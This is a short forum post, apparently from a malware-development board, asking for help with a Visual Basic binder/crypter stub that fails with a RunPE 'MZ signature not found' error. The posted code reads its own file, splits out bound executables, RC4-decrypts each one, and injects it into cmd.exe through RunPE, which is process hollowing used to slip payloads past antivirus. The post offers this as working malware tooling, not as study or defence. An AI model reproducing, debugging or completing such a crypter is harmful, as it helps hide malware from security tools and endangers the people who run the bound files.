Small problem with this code for a binder/crypter
I get "MZ signature not found!" error with RunPE. Any ideas?Code:Dim Stub As String, Files() As String, i As Integer, sDecr() As String Open App.Path & "\" & "Bound" & ".exe" For Binary As #1 'open itself Stub = Space(LOF(1)) 'buffer var Stub Get #1, , Stub 'load binary of Stub into var Stub Close #1 Files = Split(Stub, Splitter) 'split stub into bound files, last split is the encryption key For i = 1 To (UBound(Files()) - 1) 'the last item in Files() is key not exe, first (0) is stub, so ignore those... RunExe "C:\WINDOWS\system32\cmd.exe", RC4(Files(i), Files(UBound(Files()))) 'decrypts the current exe [i] with the key [(ubound(files())]. Next i
Appreciated.


LinkBack URL
About LinkBacks
Reply With Quote

